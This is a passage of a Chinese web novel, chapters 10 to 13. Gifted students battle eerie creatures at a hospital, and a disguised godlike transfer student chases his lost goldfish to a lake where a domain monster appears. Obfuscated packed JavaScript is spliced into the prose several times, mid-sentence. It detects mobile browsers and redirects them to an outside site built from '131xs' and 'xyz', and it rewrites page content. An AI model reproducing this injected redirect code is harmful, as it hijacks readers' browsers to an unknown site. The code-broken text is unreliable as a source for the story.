虽然那个强大的神选者死了,但医院里还有一堆小型诡异生物的气息,需要尽快解决。 好在有周夜阑,那些诡异生物不管数量有多少,对他来说都只是小菜一碟。 陆景明看着周夜阑再一次在胸前画出一个极为繁复的图案,用一种神圣而古老的语言低低吟诵出声。下一刻,一股难以言喻的强大异能扑面而来,将两公里都涤荡了彻底。 圣雅各医院里,挥之不去的诡气终于在此时消散了。 陆景明松了一口气,压抑已久的八卦之心在此时熊熊燃烧起来:“周顾问,您是怎么知道,现在会下雨的?” 少年的身影已经消失在视线之外了,周夜阑却仍看着江秉烛离去的方向,滴水不漏的一笑:“秘密。” 陆景明:“……” 周顾问哪里都好,就是该说人话的时候不爱说人话。 他循着周夜阑的目光看过去,倒是也想起来的路上,看见的那名清秀少年:“那刚刚那个学生呢?他也拿着伞……对了,您之前和他认识吗?” 相处的这段时间里,周夜阑很少直接找上什么人,就连对诡异生物都保持着一副绅士作派,从没有像今天这样,因为一个人而突然把车停下。 刚才的少年一看就是学校里的普通学生,怎么也不可能和诡异生物扯上关系。 那就只能是,早先和周顾问认识? 陆景明瞬间燃起了熊熊八卦之心。 要知道,周顾问身份之神秘,是京城那伙人掘地三尺,也没找出来任何信息的程度! 周夜阑侧过头,淡淡地扫了他一眼:“不认识。” “只是……一见如故罢了。” 说话间,他指间轻轻摩挲,仿佛上面还残留着那点非同寻常的温度。 —— 病房外风雨大作。 呼啸而过的风把七层的窗户吹得吱呀作响,安森手里端着那碗还冒着热气的海鲜粥,在病床上坐立不安。 今天的雨下得突然,风也刮得十分罕见。他虽然刚醒没多久,却还是隐隐觉得医院里有些不太对劲。 他忧心忡忡地看向病房中的另一个人:“江同学,你出去买吃的的时候,有看见什么异常吗?” 被他问到的少年窝在椅子里,抱着一袋香酥小黄鱼,一条一条啃得正香。闻言,他慢吞吞抬起头,往窗外扫了一眼:“没有。” 那朵花死了,祂之前收集的能量逸散出去,导致天气产生了一些变化,这很容易预见,也不是什么大事。 不过这里的人类对此好像挺迟钝的。 江秉烛对扮演人类的环节谈不上喜欢,但也没什么恶感。既然现在的身份如此,他不介意让自己的举动更符合人类社会的准则一些。 为此,他在下雨前顺走了门口的伞,像每个普通人一样。 安森却没有因为这句不走心的回答受到安慰。在凄厉哀嚎般的风声中,他听到了另一种格格不入的声音——像是物体撞击、重物落地,伴随着魔幻大片里的技能音效,一个接一个地从走廊上传来。 不知是不是幻听,他甚至感觉有交谈声和脚步声越来越近。 安森屏住呼吸,手心里捏了一把汗。 “江同学,”他压低声音,提醒后知后觉,一心嚼小黄鱼的人,“你往我身后躲一躲。” 江秉烛:“?” 还没等他说点什么,“铛”的一声,门开了,几个人影投在病房的地面上,被拉得很长。 走廊里时亮时灭的灯光照进来,安森脸都白了。 他反应了好几秒,才发现面前这些人自己都认识。 以赵一清为首的几名A班学生站在房间门口,他们灰头土脸,克莱登学院那套讲究的黑色制服上,不知道怎么,落满了墙灰和水泥一样的东西,隐约混着点血。他们直直往房间内看过来,各自带着一副“在大润发杀了十年鱼”般的疲惫中带着点杀意的表情。 安森被吓了一跳。 “你、你们——” 在学校里,A班这群人可是他们需要仰望的存在。就算回了家,一个个也都是传说中的“别人家”的精英小孩。 安森做梦都想不到,自己有生之年能看到他们狼狈成这个样子。 这是干什么去了? 他迷惑的目光过于明显,来的几个A班学生都不得不陷入沉默。 他们一收到时家逸的求救消息,就匆忙从学校赶了过来。有人在他们之前出手,已经干掉了那个蛰伏的强大怪物,但仍然有密密麻麻的纸影四处逃窜。 A班学生拼尽全力要留下它们,奈何纸影数量太多,他们都经历了一番苦战。 直到一股神秘的异能席卷而过,所有诡异生物跟着烟消云散。 医院重新归于宁静,赵一清立刻让人兵分两路,一半去查这里到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575308|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生了什么,怎么会藏着一只神选者级别的怪物。 另一半跟着他,确认住院楼内的人没有异样。 至于身上的狼狈,这不重要。 他们是在诡异世界摸爬滚打过的人,才到这种程度而已,没人放在心上。 但是,该怎么和状况外的安森解释,就是个问题了。 A班学生正在冥思苦想,一道声音忽然插了进来。 “啊,你们真人cs结束了。” 他们猛地转过视线。 江秉烛跟个没事人似的,挑了个很舒服的姿势靠在椅子上,手里还抱着一袋刚出锅的香酥小黄鱼。 A班学生:“……” 然后他们立刻反应过来,连连点头:“对啊对啊,我们打得可激烈了呢!” 安森困惑道:“真人cs……穿校服的吗?” A班学生:“。” 我们都在医院玩真人cs了,你的关注点怎么是衣服啊! 但他们义正辞严地反驳:“你不懂,这是我们A班的班魂!” 安森不是很懂。 他倒是在想另一件事:如果真人cs是A班重要的活动,那在这时候跑到病房里来的江秉烛,岂不是被抛下的那个? 江同学他,应该很难过吧? 安森脑子里天马行空的时候,江秉烛已经被A班的人拉出了病房。 他们找到了一个隔音好,勉强能站下人的地方聚着,赵一清率先开口道:“刚才的事,还要谢谢你。” 江秉烛:“没事。” 他发现这的人类还挺好玩。 短暂的寒暄至此结束,赵一清问:“你为什么会在这?” 时家逸早先就察觉到医院有些不对,不可能还让江秉烛跟着他进来。 江秉烛掏出手机,照例给他展示了管家发过来的几条消息。赵一清的表情虽然对这种“不把别人劝告放在眼里”的行为展示出不满,从逻辑上,却没有继续进行质疑。 他选择把时间花费在更宝贵的事情上。 “时家逸状态不太好,过一段时间才能恢复。有些事我需要先和你确认。” 江秉烛有几分好笑:“你确定要找我?” 赵一清用坚定的眼神给出了答案。 “好吧,”江秉烛配合地说,“我尽量。” 赵一清的问题接踵而来:医院里出现了什么异常、是否出现了怪物、有没有身份不明的人在附近行动…… 江秉烛的答案却都大同小异。 “什么?”、“没看见”、“不知道”…… 全程一问三不知,仿佛他完全没在现场似的。 赵一清额头的青筋狠狠跳了两下,用尽两辈子的涵养,才没说出骂人的词汇。 他深深、深深地吸了一口气,想要再追问一些细节,一抹温柔的声音唤回了他。 “一清,不要再为难江同学了,”来人走出楼梯的转角,月白色的中长发随着脚步微微晃动,眉眼淡然,又带着一丝悲悯。“他只是个普通人,今天经历了这么多,该让他好好休息才对。” 赵一清回过头,看着来人,语气都不由得温柔下来:“双白,你怎么过来了?” 黎双白没有立刻回答,先走到江秉烛身边,关照了他几句,然后才接过话。 “时家逸醒了,”他说着,面目沉了下来,“他和我们讲清了今天医院的事情,两个强大的存在涉及其中。祂们的身份我们尚不清楚,但是,时家逸转述了祂们之间的一段对话,我进行了一些初步的分析。” 他话里有话,A班的学生都隐隐意识到了什么,不约而同地屏住呼吸。 这时,极为寂静的空间里,传来一阵细碎的轻响。 众人一回头,只见转学生不知何时又摸出了几条香酥小黄鱼。他吃东西的动作从容极了,速度却很快,没等众人看清,几条鱼就飞也似的消失了。 赵一清:“……” 江秉烛头也没抬,他慢条斯理地咽下最后一块小黄鱼,像是直到这时才注意到周边的奇怪氛围一样,开口道:“不继续了嘛?” 赵一清再次深吸一口气,平复了一下操蛋的心情,问:“那段对话,是关于什么的?” “关于……深渊的那些存在。” 11. 第 11 章 “深渊”。 A班的学生,或者说在诡异世界生活过的所有人,都对这两个字有一种条件反射般的恐惧。 深渊处于诡异世界几块大陆交汇的地方,它有着明确的地理位置,却又超脱世界之外。 在那里,一切熟悉的规则都会失效,哪怕是许多人闻风丧胆的高阶诡异生物到了深渊,也不过是在最底层挣扎求生的小怪物。不管对于人类还是一般的诡异生物来说,那里都是他们的禁地。 可对于别的存在来说,深渊却是栖居的绝佳位置。 诡异世界曾经有十一位神明,祂们各自占有深渊的一部分,在其中建立自己的殿堂。祂们之间的倾轧与纷争从未断绝,却没人能称得上深渊真正的主人。 直到那场神战的爆发。 曾经高高在上的神灵一个接一个的殒落,胜出者踩着祂们的残骸与神格,坐上了诡异世界的至高王座。 也成为了深渊的唯一主宰。 在诡异世界,和神有关的一切信息,都意味着极度的危险。如果不是因为A班学生此时并非在诡异世界,这里又并没有真正意义上的神明,不管是时家逸的转述,还是黎双白的解读,都很可能让他们遭到污染。 可即便如此,为了理解时家逸模糊的转述,他们还是付出了相当代价,才解读出那位圣雅各医院地底那位神选者留下的只言片语。 其中的词汇并不多,可是每一个,都让人触目惊心包括“主”、“篡夺”、“逃离”,以及最令人意想不到的—— “杀害”。 能被神选者尊称为“主”的,一定是更为高位的存在。 在神战开始之前,诡异世界的十一位神明似乎从未有过变化。可即便是那十一位之外的,也都属于他们完全不可触及的领域。 冷汗顺着后背向下滑。 A班学生意识到,他们似乎接触到了某些不该探寻的密辛。 而这异常危险。 “我们的目的,并不是弄清楚那种层次的真相,大家最好也不要再想。”黎双白轻声提醒众人,“我们只是想守护好我们的家人、朋友、我们的城市。” “今天我们在学校几公里外,发现了此前从未察觉到过的神选者,或许这只是个例,阴差阳错来到了我们的世界藏身。但或许,还有更多这样的存在潜藏在城市的角落。想要对付祂们,我们必须集结起更多力量。” 赵一清严肃点头:“双白说得没错。下个月,在京城举办的特级异能者评选对我们来说,是重中之重。” 只有这样,他们才有可能获得更多支持与资源,应对越来越多出现在城市里的诡异生物。 而提到京城,之前那神乎其技的、抹杀了神选者与纸影的力量,又让他们想到了另一个人。 ——“希格尔德”,那个一周前,在京城秒杀了许多强大诡异生物的神秘异能者。 他现在,难道来到第二城了吗? 那个神选者留下的话,又是……朝谁说的呢? —— 次日一早,A班学生从房间出来时,每一个脸上都带着浓重的黑眼圈。 越来越多的诡异生物、强大的神选者、神出鬼没的高手……他们的世界正处于危险之中,就算再心大的人,这时候也不可能轻松得起来。 所有人对视一眼,都从彼此脸上看到。只除了对于未来的浓浓担忧。 只除了……那个不知从哪抱来了一个鱼缸,看起来竟然还挺春风得意的转学生。 A班学生:“?” 算了,这是普通人,让让他。 但就算转学生心大,他昨天也两次遇到了危险的诡异生物。为了防止这些遭遇对他造成不好的影响,时家尔很有人道主义地放出了两只噬梦捏成的小型诡异生物“灵瞳”跟在他身边,进行一段时间的保护。 当然,他的行动非常隐蔽,转学生是不可能知道了。 江秉烛心情确实很好,也没有在意从醒来时就在他身边晃悠的两只小生物。 他和安森约好,今天早上就去人工湖边捞鱼。 克莱登学院的湖日常有人维护,里面的生物品类都有很好的把控。这半个月以来,他的金鱼应该没有任何风险,都能好好活着。 A班学生的一片愁云惨雾中,江秉烛抱着刚买的鱼缸和捞鱼装备,直奔人工湖。 他的金鱼非常显眼,在江秉烛的计划里,完全可以在二十分钟之内把它们捞回来。 然而,一个多小时后。 江秉烛看着他空空如也的鱼缸:“……” 鱼呢! 他的鱼呢! 安森对此也完全没有头绪,专门找了负责相关区域的工作人员才问明白。 最近学校出得怪事是在太多了,除了游泳馆外,还有很多地方都受到了影响。 克莱登学院依山傍水,人工湖原本与环山而过的白水河只隔着一条堤坝。可昨天突如其来的下了一晚上暴雨,雨势太大,水位猛涨,人工湖和白水河之间的拿到堤坝被冲垮了,两条水系就这样连成了一片,连带着精心设计好的景观和生态全都变得面目全非。 江秉烛:“……” 心头千言万语,最后全都化成无语。 他沉默地掏出手机,打开第二城地图。白水河是一条不长的支流,以工作人员描述的流速判断,他的鱼如果真的被从人工湖里冲跑了,也不太可能留在那条河里。 白水河最终汇入的地方,是维斯特湖。 安森站得离江秉烛挺近,看见他的搜索记录,委婉地提醒道:“昨天晚上水流很急,金鱼体型不大,也不太适应这种极端的情况,它们能活着的概率……不是很高。不过幸运的话,它们确实有可能被冲到了维斯特湖。只不过,那片湖区是私人所有,除非收到邀请,是很难进去的。” 这些客观的理由,足以让任何人冷静下来。 但江秉烛只是“嗯”了一声,好像完全没听见似的。 安森一时有点头疼。转念间,又想起了今早回学校以后在路上听到的八卦。 江秉烛是中途插班的转学生,进的又是万众瞩目的A班,背景早就被好事的人扒了一圈——他是从一个地处偏远的渔村来的,家里祖祖辈辈以捕鱼为生。这种出身,在克莱登学生的眼里和笑话没什么区别。 没人知道江秉烛是交了什么运道才能进克莱登学院念书的,但想看乐子的不在少数,都在猜他什么时间会被A班少爷们踢出去。先前转进A班的学生,多得是有权有势的,到最后都一个个跑了。江秉烛这种呢,估计只会更快。 但或许是因为昨天江秉烛给他带的那碗海鲜粥,又或许是什么奇奇怪怪的滤镜,安森并不想看转学生的笑话。 江秉烛站在岸边,怀中抱着一个空空如也的鱼缸,不知在想些什么。清晨的朝霞映得湖面波光粼粼,也在黑发少年表情寡淡的脸上照出瑰丽的颜色。 安森忽然发觉自己其实……有点想帮帮他。 幸运的是,他很快就找到了方法。 “虽然维斯特湖的主人只对特定宾客发出邀请函,但我们学校的钓鱼社团刚好是其中之一!”安森有些激动。 “而且,这一周是他们社团的开放日,会定期带着有加入意向的新人去维斯特湖垂钓,今天下午就有一波。就是不知道你现在才报名,能不能赶得上,而且他们……” 那个社团里,正经钓鱼佬其实不多,主要以社交性质为主,捧高踩低的人不在少数。 可安森还没把措辞想好,江秉烛那边就已经开口了。 “谢谢,这很有帮助。”他真诚地说着,然后利落地从岸边转身,往钓鱼社团的方向走了。 人工湖距离钓鱼社团并不远,江秉烛没走几分钟,就看见了一块极其亮眼的鱼型浮雕,一整块雕塑金灿灿的,就差写上“壕无人性”四个大字。江秉烛毫不怀疑,如果诡异世界的龙类也来到了这里,一定会先来这个社团。 他默默吐槽了一句,抬腿跨入钓鱼社同样金碧辉煌的门槛。 克莱登学院的选课制度非常自由,即便是早上,钓鱼社团里也已经汇聚了不少人。他们穿着学院的笔挺西服,侃侃而谈。 “听说昨天下过雨后,维斯特湖里的鱼活跃得很。我们下午过去垂钓,应该收获颇丰,也算个意外之喜。” “不止是鱼,今天那些平常见不着的珍惜动物出没得也很频繁,四处跑呢。依我看,这才不是意外,是知道几位社长要过去,特意要迎接你们。”旁边的人恭维道。 “是啊,而且今天的湖水和天色也特别漂亮。玫红色,这可是社长最喜欢的颜色!一看就是在欢迎社长们。” ……这什么逻辑? 上述种种现象,如果放在诡异大陆,百分之九十九的智慧生物都会判断为诡异事件。剩下的百分之一,也很难得出现在这样的结论。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575309|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江秉烛对钓鱼社团的推理能力刮目相看。 社团大厅里,所有人七嘴八舌地想办法恭维着,一时间热闹极了。 没出声的人便因此而格外显眼。 一位社长的目光落在直直走过来的黑发少年身上,不善地眯起了眼睛。 “你是谁?” “江秉烛,”少年说,“我下午要去韦斯特湖垂钓。” 这就是江秉烛? 钓鱼社的人纷纷一怔,纷纷向这边看了过来。立刻有人冷笑一声,讽刺道:“你以为你是谁,这么空手走过来,就想进我们钓鱼社?” 话音落下,所有人都等着看这个贫穷的转学生窘迫、尴尬的样子,不知道他会为达成目的,进行怎样苍白的辩解。 但江秉烛表情平淡,一双黑白分明的眼睛看着前方,却又像是谁都没看似的。 他平静地“哦”了一声,什么都没说,转身往外走。 ……这剧本怎么跟他们想得不一样? 转学生走了,他们上哪儿看乐子去! “等等!”钓鱼社社长季礼喊道。 江秉烛脚步没停。 他原本觉得,通过钓鱼社去韦斯特湖是最便捷的方法。 这条路行不通,倒也不是没有别的办法,只是麻烦一点而已。 看他没反应,季礼又连忙补充:“你可以和我们一起去湖边!” 江秉烛稍稍放慢脚步,回过头。 季礼嘴角浮现出一抹得意的笑:“不过,我们有一个条件。” “必须有一位A班的同学和你一起过来。” 如果成功,他们钓鱼社刚好可以请到A班那些有权有势的少爷们加入,这对他们社团的地位而言,无疑是一种提升。 如果不行,他们总能从转学生的悲惨上找到乐趣,也不算亏。 —— 教室。 时家尔十指在键盘上飞舞着,和A班其他人在群里激烈的沟通着。 他在江秉烛身上放了噬梦生成的小怪物,原本是为了防止转学生因为昨天的遭遇受到影响。没想到,他们真的因此发现了新的情报。 维斯特湖将有诡异出现! 而且,如果异象能够覆盖整片湖区,出现在那里的诡异生物,可能至少也有五级,他们不能坐视不管。 A班学生还在群里争论该由哪几个人前去处理——现在的第二城并不太平,A班一部分早些时候就已经外出处理别的诡异去了,一部分人还在调查医院下方的那个神选者,不太能分出人手。 正讨论着,群里忽然弹出了一条新的消息。 【7:你们说,既然希格尔德来了第二城,他会不会也出现在维斯特湖?那可是京城最近最出名的诡异杀手!】 【1:不管他去不去,我们都必须做好应对诡异生物的准备,不能把希望寄托在别人身上。】 【7:老大,你别太较真了。我的意思是,就没人好奇神秘的希格尔德到底是什么样的异能者吗?我有个直觉,他不像是咱们世界的本土异能者,倒是有可能和我们一样……】 【1:昨天希格尔德出手的时候,除了时家逸外,确实有人在场,不过我没问出什么。】 时家尔打字的手忽然一顿,退出班群,转而寻找起另一个聊天框。 他知道赵一清说得是谁。 赵一清为人相当靠谱,如果他说没问出什么,确实就应该没什么信息。 然而,对强者的向往和对潜在同类的好奇,实在是很难抑制的,时家尔迫不及待地想亲口问问江秉烛,昨天在圣雅各医院的一切经历。 可他在联系人里翻翻找找,才发现昨天太混乱,自己和江秉烛连联系方式都没加。 正想着,“灵瞳”传来了新的声音与图像。 对话里,季礼的挑衅和恶意都太明显,时家尔看了几眼,便皱起眉头。 再怎么说,江秉烛目前也是他们A班的学生,凭什么被别人当成笑话看? 更令人没想到的是,江秉烛竟然给出了答复。 他说:“好啊。” 他甚至是笑着说的,原本那张清秀的脸上蓦然间多出了些别样的意味。 时家尔愣了,随即感到深深的忧虑,甚至连希格尔德的事都被挤到了一边。 这转学生连他们的联系方式都没有,就轻易答应了别人的刁难。 他的性格,未免也太包子了吧! 12. 第 12 章 “好啊。” 江秉烛轻巧的回答脱口而出,原本人声纷杂的钓鱼社团静了几秒,随机爆发出一阵更不加掩饰的笑声。 天呐,他们听见了什么? 这个不知天高地厚的转学生,竟然答应了季社长的要求,要去请A班的同学了! 一下子,金碧辉煌的大厅变得越发热闹起来。 要知道,A班的学生除了地位超然之外,性格也一个比一个不好惹。先前不是没有人想要转进A班上学,和他们套套近乎,可最终都一个个灰溜溜的走了,甚至听说有人因此出了精神问题,天天声称自己看到了怪物! 那些比江秉烛更有聪明、更厉害、更有家势的人都没在A班学生面前占到一点好处。 任何一个有基础判断能力的人都不会觉得,江秉烛有能力请来A班的大佬。 季礼等人饶有兴致地看着江秉烛,期待着他的下一步行动。 江秉烛反而很平静,穿过人群,泰然自若地走向一张沙发,挑了个舒服的姿势坐上去,看着正前方一缸漂亮的观赏鱼。 ——他倒不是在看鱼,而是在看缸。 江秉烛总觉得深渊的鱼池装饰过于简单,来到这个位面时,他机缘巧合地收集了点东西,很适合在鱼池里当摆件,他便全装包里了。 这个时候,也能好好构思一下,回到深渊后怎么安排这些摆件,把鱼池装饰得更漂亮些。 名贵的龙鱼在水中游回来,又游回去,他就那么静静地看着,仿佛能坐在这里看一整年,甚至更久。 除此之外,他什么都没有做。 等了几分钟,钓鱼社的人先坐不住了,你一言我一语地嘲讽了起来。 可转学生就是跟听不见一样,继续稳坐钓鱼台。 这就太不给他们钓鱼社面子了。 季礼脸色不虞,走到江秉烛近前,提点道:“江同学,我们下午就要出发,大家的时间都很宝贵。如果你没有联系A班同学的意愿与方式的话,最好趁早离开,不要再耽误大家的时间了。” 他这话说完,钓鱼社众人终于看见江秉烛抬起了头。 “不愧是社长,”他们小声称赞,“什么叫语言的艺术啊,听听,这就是……” “让一下,”江秉烛坐在沙发上,平淡开口,“挡到光了。” 钓鱼社:“……”这家伙怎么这么理直气壮的啊! “你——”季礼被他的态度气得直愣,正要发作,钓鱼社门口忽然又传来一阵脚步声。 他不耐地回过头去,在看清来人时,眼神不由得一顿。 为首的男生留着金色短发,脸上挂着轻浮笑意,在他身侧的人一头棕发,脖子上挂着耳机,校服的西装外套被随意地拎在手里。 这两个人,赫然是A班的金祈安和时家尔。 季礼一怔——他家一直想和金家时家达成合作,钓鱼社也不是没给这两位发过邀请函,可他们从没回复过,怎么今天突然来了?总不能真是和江秉烛有什么心灵感应吧?这根本是不可能的事! 他正想着,金祈安笑盈盈地开口:“昨天下了雨,听说维斯特湖风景不错,我俩想过去欣赏欣赏,就过来了。应该没打扰到你们吧?” 他话说得很客气,脚步却一点没停。 季礼没在乎这点小小的细节,甚至连表都不在意了,迫不及待地迎上去:“没有,怎么会打扰呢?二位不来,我也是要立刻叫人去请的!” 钓鱼社其他人也蜂拥而至,热情地寒暄起来,把两个人围得水泄不通。 金祈安长袖善舞,和每个人聊天的同时,不动声色地套着维斯特湖的情况。 时家尔没他那么好的耐心,一边应付着,一边不住向钓鱼社的角落投去目光。江秉烛孤零零地坐在那里,在他身前不远处,就是那块被摔坏的名表。 有“灵瞳”在,时家尔知道刚刚发生了什么。季礼明摆着欺负人,可江秉烛还是那副迟钝又怠惰的样子,被欺负了也不知道反抗一下。如果不是他们来得及时,他真不知道这件事最后该怎样收场。 得找个时间好好跟江秉烛说说,太无理的条件不要答应。季礼这帮人又不是什么好鸟,一味的退让,只会让他们更加猖狂。 他默默腹诽了两句,和金祈安交换了一个眼神,将心思放回维斯特湖的异状上。 时家尔自己是五级异能者,而金祈安则是近战系的六级异能者,异能“点石成金”,可以在极短时间内将附近的物品转化为金属,对敌人造成攻击。 时家尔虽然和他互相看不顺眼,但配合还算默契。他们两个人联手,应对七级以下的诡异生物,不会有太大问题。 异能者与诡异生物间的战斗,在场的普通人当然越少越好。他们找了个宴会的借口,支开了钓鱼社的大部分人,只有包括季礼在内的一小部分非常坚持要跟上来,他们没有办法,只好到时候见机行事。 令人有些意外的是,江秉烛也坚持要去维斯特湖,理由是找他不知道丢在哪里的金鱼。 时家尔一脸难以置信。 昨天雨下得那么大,就那几条金鱼,怕是早就翻白肚皮了。他真觉得还不如拿点钱,重新买上几条。 可这位转学生却一反平时的云淡风轻,不仅非要去,还搞来一整套专业的捞鱼和垂钓装备,一副要在维斯特湖边扎营三天三夜的架势。 时家尔嘴角抽了抽。 钓鱼社的其他人不知道诡异生物的存在,江秉烛可是亲眼见过的。 都这样了,在自己的提醒下,这家伙还要去钓鱼,到底是出于一种怎么样的执念啊! 时家尔不懂,也不想理解。他和金祈安这次可是身负重任——不仅要去解决那里的诡异生物,如果可能的话,还想寻找希格尔德的行踪。 这个时候,还要在普通人身上分心,真是麻烦。 —— 下午两点,一行人准时到达维斯特湖。 除了克莱登学院的学生们,已经有不少钓鱼佬在湖边开始了垂钓,鱼篮里收获颇丰。 江秉烛在附近问了一圈,并没有人看见过几尾红色的金鱼。而他在不动用自身力量的情况下,也无法感知到鱼的气息。 好在,除了人类以外,这里还有别的目击者,拥有更广阔的视野,更可能发现鱼的下落。 江秉烛微微眯起眼睛,望向远方的天空。到了下午,天边不正常的红霞已经淡了,空气中的诡气并不浓烈,湖面平静,在阳光的照耀下,像一块传世的翡翠。 早上出现的那只诡异生物此刻不在这里。 不过……它很快会回来的。 江秉烛在岸边溜达着,脚下的阴影以极其微弱的幅度,绕着他的背包晃了晃。 没有任何人注意到这点小小的插曲,只看见他找了个合适的地方,分三点打下之前备好的窝料,然后支起钓竿,以一副相当专业而熟练的姿态开始钓鱼。 这当然不全是因为他早上在钓鱼社看的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575310|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几本专业书。 原身在渔村长大,对鱼的习性了如指掌。除了必要信息外,江秉烛向来不喜欢提取其他存在的记忆——他不认为情绪与被主观美化过的事件有什么实质性意义。不过这回,他也承认,在和鱼相关的事情上,原身的经验远比专业书上写得有用得多。 江秉烛调好了自己的漂与线,垂下鱼竿。 他发散的想,在先前那场交易里,他把原身的灵魂投射到诡异世界的捕鱼船长身上,看来是个不错的选择。 很快,水中的浮漂动了一下,江秉烛目光一凝,专注地盯着水面。 说不定在“目击证人”回来之前,他就能自己把鱼钓回来呢! 三十分钟后。 江秉烛看了看堆满了手镯、项链、长靴,就是没有一条鱼的鱼篮,感受到一种似曾相识的尴尬。 早上捞不到鱼也就算了,都到湖边了,他总不能空军吧! “哦?空军了!你不是个打渔的吗,怎么连条鱼都钓不上来?”一阵冷笑声响起,季礼从一旁走了过来。 江秉烛:“……” 他哪里空军了,可不可以不要乱讲! 这明明叫做沉淀! 季礼的本意是借着这次赏景的机会,和A班的人互相结交,可是刚到维斯特湖,金祈安和时家尔就神出鬼没起来,不知各自在忙什么。他的大部分跟班没到,少了身后吹捧的人,怎么看这个没见识的转学生都觉得不顺眼。 季礼说完,其实没打算等江秉烛的回应。 这转学生呆得很,不是不给人反应,就是在脱线,欺负他简直像欺负棉花,实在是很没意思。 可出乎意料的是,这一次转学生竟然偏过了头,看着他说:“鱼是一种警觉的生物。” 江秉烛坐在岸边,季礼站在不远处。以两人现在的位置,江秉烛说话时,要抬起头才能直视季礼的眼睛。这是一个仰视的姿态,气势天然就比别人要弱上几分。 可被那双黑白分明的眼睛盯着的时候,季礼却有一种说不上来的、很诡异的感觉。被仰视的人分明是他,却仿佛江秉烛才是那个高高在上,随意投来一瞥的人。 他愣神时,江秉烛继续说:“它们不喜欢噪音、不喜欢异味,会因为感知到风险而本能躲避。” “不像你。” “哈?”季礼拧起眉,做出一个极度夸张的表情,“你突然在说什么啊?” 虽然没太听懂,但他觉得江秉烛在讽刺自己,直接扬起胳膊,想要对这不知天高地厚的家伙动手。 反正江秉烛选的钓点相对偏僻,附近没什么人,更没监控。他想做什么,便能做什么。 近千米之外,时家尔散布出去许多只“灵瞳”,监视着维斯特湖畔的诡气,寻找今早引起异状的诡异生物的痕迹。 但他此前留在江秉烛身上的那只灵瞳尚未撤走,就这样看见了一切。 还在学校时,季礼就几次三番针对江秉烛,现在竟然直接动手? 就算江秉烛不是此行他们关注的重点,时家尔也很难忍受有人这么明目张胆地欺凌同学。 他招呼了一声旁边的金祈安,正想赶回去,忽然感受到了什么,动作一顿。 二人齐齐转过头去,只见湖面上升起一道道诡异的亮光,一股极其浓烈的诡气从湖心深处涌出,朝他们扑面而来! 同一时间,时家尔失去了所有“灵瞳”的视野。 转学生那边的画面,就此消失不见。 13. 第 13 章 变故突生,碧绿的湖面上,一道道璀璨光华亮得几乎让人睁不开眼。 那些光束以湖心为起点,飞速向四周延伸。 它们像是无形的边界,将维斯特湖畔瞬间切割成一块块孤立区域。紧接着,光束由线变面,一扇扇光幕从天而降,落在地面上的瞬间,发出刺耳的“滋滋”灼烧声。 那不再是普通的光,而像是科幻电影里的激光刀一样,带着极高的能量,在空气中带起一阵微弱的爆破般的声响。 一只白鸟正好飞行在光幕上方。 “嗞——” 没有任何预兆,那只白鸟被高能量的光从正中切成了两瓣。光刃划过□□时几乎没有声音,那只鸟还保持着振翅的姿势,两瓣身体却径直下坠,跌入泥土里。 洁白的羽毛在空中四散,血肉焦糊的气息却在同一时间蔓延开来,令整个维斯特湖蒙上了一层不详的血色。 “这是……域鬼!”湖畔边缘,时家尔看着那些从天而降的光幕,面色凝重。 域鬼是一类极其特殊的诡异生物,和世界本源之一的规则之力有着独特的联系。 与其他依靠力量直接攻击的诡异生物不同,域鬼本身并不会进行主动攻击,它们会将周边生物攫取进自身创造的“域”,除非遵循其中那套独有的生存规则,否则,无论是普通人还是强大的异能者,都会被规则之力抹杀,成为域鬼的养料。 这使得域鬼的致死率很高——在它的域内,和它同等阶、哪怕是更厉害的异能者都会受到规则的限制。而反过来,只要严格遵守规则,即便是手无缚鸡之力的人,也可能从中生还。只是这概率太低了,哪怕在诡异世界,域鬼也是异能者们最不想碰到的诡异生物之一。 想要杀死一只域鬼,只有两条路。要么彻底搞清它的规则,进而从域中离开。想要通过武力破局,必须比它强大几百倍,甚至更多,才有可能碾碎与规则之力相连的域。 “这下麻烦了,”时家尔沉声道,“这只域鬼是五级的诡异生物,以我们的力量,没法打破它的域。” 别说他们两个不到神选者层次,就连诡异世界那些对异能操纵十分纯熟的高手,也很难凭借力量打破僵局。 至于他们曾经期待见到的希格尔德,想来也不在这里——他可是以对诡异生物一击必杀而著称的,如果人在湖畔,肯定不会任由事件发展到这个地步。 金祈安脸色也不好看,这时强作镇定:“有我跟着过来,你还怕什么?先看看它的规则再说!” 虽然他经常嘲笑时家尔是个辅助,但这人的两个异能泛用性都还不错,在域鬼面前的游戏里,并不完全处于劣势,也算是歪打正着。 正说着,一道华丽的声音像是广播一样,在每个人的脑海中响起。 【不幸的玩家啊,欢迎来到维斯特湖畔,参加这一场绝妙非凡的夺宝游戏!】 